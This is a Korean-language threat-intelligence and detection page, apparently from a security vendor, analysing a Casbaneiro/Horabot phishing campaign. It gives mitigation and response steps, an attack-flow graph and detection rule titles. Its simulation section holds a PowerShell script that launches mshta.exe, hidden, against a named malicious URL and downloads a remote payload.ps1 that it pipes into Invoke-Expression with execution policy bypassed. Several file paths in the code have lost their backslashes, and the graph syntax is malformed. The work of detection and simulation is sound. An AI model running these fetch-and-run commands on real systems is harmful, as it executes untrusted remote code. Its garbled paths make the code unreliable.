멀티 프롱 공격 카스바네이로 캠페인의 해부
Detection stack
- AIDR
- Alert
- ETL
- Query
조사
연구원들은 초기 첨부파일에서 최종 페이로드 실행까지의 전체 체인을 재구성했습니다. 그들은 mshta.exe를 트리거하는 HTA 단계와 하드코딩된 시드 값이 포함된 AES로 암호화된 컨테이너를 해독하기 위해 사용되는 JavaScript/VBScript 로더와 AutoIT 구성 요소를 분석했습니다. 정적 분석을 통해 Horbot과 Casbaneiro 바이너리의 존재, 그리고 샌드박스 사용자 이름과 VM 관련 아티팩트를 확인하는 반분석 로직이 확인되었습니다. 네트워크 관찰에서는 Cloudflare가 보호하는 도메인 앞단에서 C2 인프라스트럭처와 배포 단계 동안 개별 피해자용 PDF를 동적으로 생성하기 위해 사용된 PHP API가 나타났습니다.
완화
신뢰할 수 없는 콘텐츠의 mshta.exe 실행을 차단하거나 엄격히 제어하고 ZIP/HTA/스크립트 기반 체인의 첨부 파일 검사를 강화하세요. Outlook COM 객체와 상호작용하는 비정상적인 PowerShell 동작을 모니터링하여 메일박스를 통한 확산 조짐을 찾아냅니다. 네트워크 레이어에서 식별된 악성 도메인 및 IP 주소를 차단 또는 경고하고 스테이징에 사용되는 PDF 생성 서비스에 대한 접근을 제한하는 URL 필터링을 적용하세요. AutoIT 인터프리터가 명시적 승인 없이 실행되지 않도록 애플리케이션 허용 목록을 사용하세요.
대응
활동이 감지되면 엔드포인트를 격리하고 의심스러운 mshta.exe 및 PowerShell 프로세스를 중지하며 새로 생성된 아티팩트를 제거하세요. 특히 공용 디렉터리에 투하된 파일을 주의하세요. 포렌식 검토를 위해 HTA, VBS, AutoIT 단계를 수집한 후, 손상된 이메일 계정의 자격 증명을 재설정하고 악성 Outlook COM 자동화 또는 규칙을 비활성화하며 추출된 IOC로 탐지 콘텐츠를 업데이트하세요. 가로로 퍼지는 공격과 피싱을 하이재킹된 메일박스에서 지속적으로 모니터링하세요.
키워드: 증강 마라우더, 워터 사치, 카스바네이로, 호르봇, 라틴 아메리카, 스페인어 피싱, WhatsApp 유혹, ClickFix, HTA, mshta.exe, VBScript, JavaScript 로더, AutoIT, PowerShell, Outlook COM, AES 해독, UUID ZIP, 비밀번호 보호 PDF, Cloudflare C2, PHP API, 뱅킹 트로이목마, 이메일 계정 탈취.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffdd99 classDef malware fill:#ff9999 classDef persistence fill:#ccffcc classDef c2 fill:#ffcc99 classDef operator fill:#ff9900 %% Node definitions action_phish_attach["<b>Action</b> – <b>T1566.001 피싱: 스피어피싱 첨부파일</b><br/>비밀번호 보호 PDF로 사법 소환장을 위장한 악성 이메일"] class action_phish_attach action action_phish_link["<b>Action</b> – <b>T1566.002 피싱: 스피어피싱 링크</b><br/>PDF의 링크가 무작위 UUID 이름의 ZIP 파일 자동 다운로드를 트리거함"] class action_phish_link action file_zip["<b>File</b> – ZIP 아카이브<br/>HTA 파일 포함"] class file_zip file file_hta["<b>File</b> – HTA 파일<br/>mshta.exe를 통해 실행됨"] class file_hta file process_mshta["<b>Process</b> – mshta.exe<br/>2단계 VBScript를 가져오는 JavaScript 로드"] class process_mshta process script_vb["<b>Action</b> – <b>T1059.005 명령 및 스크립팅 인터프리터: 비주얼 베이직</b><br/>샌드박스 검사 및 페이로드 다운로드"] class script_vb malware action_sandbox_evasion["<b>Action</b> – <b>T1497.002 가상화/샌드박스 회피</b><br/>샌드박스 사용자 이름 및 VM 아티팩트를 확인하는 사용자 기반 검사"] class action_sandbox_evasion action action_deobfuscation["<b>Action</b> – <b>T1140 파일 또는 정보의 난독화/디코드</b><br/>문자열 및 코드의 런타임 난독화 해제"] class action_deobfuscation action script_powershell["<b>Action</b> – <b>T1059.001 명령 및 스크립팅 인터프리터: 파워셸</b><br/>AutoIT 인터프리터 다운로드 및 Outlook 연락처 수집"] class script_powershell malware tool_outlook["<b>Tool</b> – Outlook COM 객체<br/>이메일 전파를 위한 주소록 긁기"] class tool_outlook tool tool_autoit["<b>Tool</b> – AutoIT<br/>컴파일된 스크립트가 암호화된 페이로드 생성"] class tool_autoit tool action_compile["<b>Action</b> – <b>T1027.004 난독화된 파일 또는 정보: 전송 후 컴파일</b><br/>호스트 상에서 실행 전 컴파일된 페이로드"] class action_compile action malware_dll["<b>Malware</b> – 암호화된 DLL (staticdata.dll, at.dll)"] class malware_dll malware process_reflect_load["<b>Process</b> – 반사적 DLL 로딩<br/>디스크에 기록하지 않고 메모리에 직접 DLL 로딩"] class process_reflect_load process action_injection["<b>Action</b> – <b>T1055.001 프로세스 인젝션: DLL 인젝션</b><br/>반사적으로 로드된 DLL을 프로세스에 주입"] class action_injection action persistence_shortcut["<b>Persistence</b> – <b>T1547.009 바로가기 수정</b><br/>시작 폴더에 LNK 배치됨"] class persistence_shortcut persistence c2_communication["<b>C2</b> – <b>T1102 웹 서비스</b><br/>Cloudflareu2011보호 도메인을 통한 HTTP GET/POST"] class c2_communication c2 tool_turo["<b>Tool</b> – Turo.exe (AutoIT 컴파일)"] class tool_turo tool tool_tekojac["<b>Tool</b> – Tekojac.exe (Auto2Exe)"] class tool_tekojac tool action_masquerade["<b>Action</b> – <b>T1036.008 위장</b><br/>PDF 및 ZIP 파일이 합법적으로 보임"] class action_masquerade action %% Connections action_phish_attach –>|제공함| file_zip file_zip –>|포함함| file_hta file_hta –>|실행됨| process_mshta process_mshta –>|로드함| script_vb script_vb –>|수행함| action_sandbox_evasion action_sandbox_evasion –>|유발함| action_deobfuscation action_deobfuscation –>|드러냄| script_powershell script_powershell –>|사용함| tool_outlook script_powershell –>|다운로드함| tool_autoit tool_autoit –>|생산함| action_compile action_compile –>|생성함| malware_dll malware_dll –>|로드됨| process_reflect_load process_reflect_load –>|활성화함| action_injection action_injection –>|주입함| process_mshta action_injection –>|활성화함| persistence_shortcut persistence_shortcut –>|유지함| c2_communication script_powershell –>|다운로드함| tool_turo script_powershell –>|다운로드함| tool_tekojac action_masquerade –>|가림| action_phish_attach action_masquerade –>|가림| action_phish_link %% Styling class action_phish_attach action class action_phish_link action class file_zip file class file_hta file class process_mshta process class script_vb malware class action_sandbox_evasion action class action_deobfuscation action class script_powershell malware class tool_outlook tool class tool_autoit tool class action_compile action class malware_dll malware class process_reflect_load process class action_injection action class persistence_shortcut persistence class c2_communication c2 class tool_turo tool class tool_tekojac tool class action_masquerade action "
공격 흐름
탐지
공용 사용자 프로필에서 의심스러운 파일 (file_event를 통해)
보기
의심스러운 파워셸 문자열 (powershell을 통해)
보기
공용 사용자 프로필에서 실행되는 의심스러운 실행 파일 (process_creation을 통해)
보기
.NET 메서드를 의심스러운 PowerShell에서 호출 (powershell을 통해)
보기
LOLBAS WScript / CScript (process_creation을 통해)
보기
HTA 파일 없이 mshta의 의심스러운 실행 (cmdline을 통해)
보기
IOC (HashSha256)를 감지해야 함: 증강 마라우더의 다각도 카스바네이로 캠페인 풀어헤치기
보기
IOC (SourceIP)를 감지해야 함: 증강 마라우더의 다각도 카스바네이로 캠페인 풀어헤치기
보기
IOC (DestinationIP)를 감지해야 함: 증강 마라우더의 다각도 카스바네이로 캠페인 풀어헤치기
보기
PowerShell 및 MAPI 사용을 통한 피싱 캠페인 탐지 [Windows PowerShell]
보기
증강 마라우더 카스바네이로 캠페인 탐지 [Windows 네트워크 연결]
보기
Horabot 캠페인에서 mshta 및 PowerShell 실행 탐지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
전제 조건: Telemetry & Baseline Pre‑flight Check을 통과해야 합니다.
근거: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적 대기술 (TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며 탐지 논리에서 기대되는 정확한 텔레메트리를 생성해야 합니다. 추상적이거나 관련 없는 예시는 오진을 초래할 수 있습니다.
-
공격 내러티브 및 명령:
위협 행위자는 피해자 워크스테이션에 Mshta 를 활용하여https://ge.factu.it.com/GZSPEGIJ/YFSBNPQK에 호스팅된 악성 HTA 페이로드를 다운로드하고 실행하여 발판을 마련하려고 합니다. 이후 즉시, 행위자는 PowerShell 을 이용하여 같은 도메인에서Invoke‑WebRequest를 통해 2단계 스크립트를 다운로드하고 메모리에서 실행합니다. 두 바이너리는 감사 로깅 가능성을 높이기 위해 상승된 명령 프롬프트에서 시작됩니다. -
회귀 테스트 스크립트:
# Horabot 시뮬레이션 – 같은 세션에서 mshta와 PowerShell을 모두 트리거함 # 1. 악성 URL과 함께 Mshta 실행 $htaUrl = "https://ge.factu.it.com/GZSPEGIJ/YFSBNPQK" Start-Process -FilePath "$env:SystemRootsystem32mshta.exe" -ArgumentList $htaUrl -WindowStyle Hidden # 2. 원격 스크립트를 다운로드하고 실행하기 위해 PowerShell 실행 $psUrl = "https://ge.factu.it.com/GZSPEGIJ/YFSBNPQK/payload.ps1" Start-Process -FilePath "$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"Invoke-WebRequest -Uri '$psUrl' -UseBasicParsing | Invoke-Expression`"" ` -WindowStyle Hidden -
정리 명령어:
# 남아있는 모든 악성 프로세스를 종료합니다 (생존했을 경우) Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Stop-Process -Force # 떨어졌을 수 있는 모든 파일을 제거합니다 (예시 위치) $paths = @( "$env:TEMPpayload.ps1", "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupmalicious.hta" ) foreach ($p in $paths) { if (Test-Path $p) { Remove-Item -Path $p -Force } }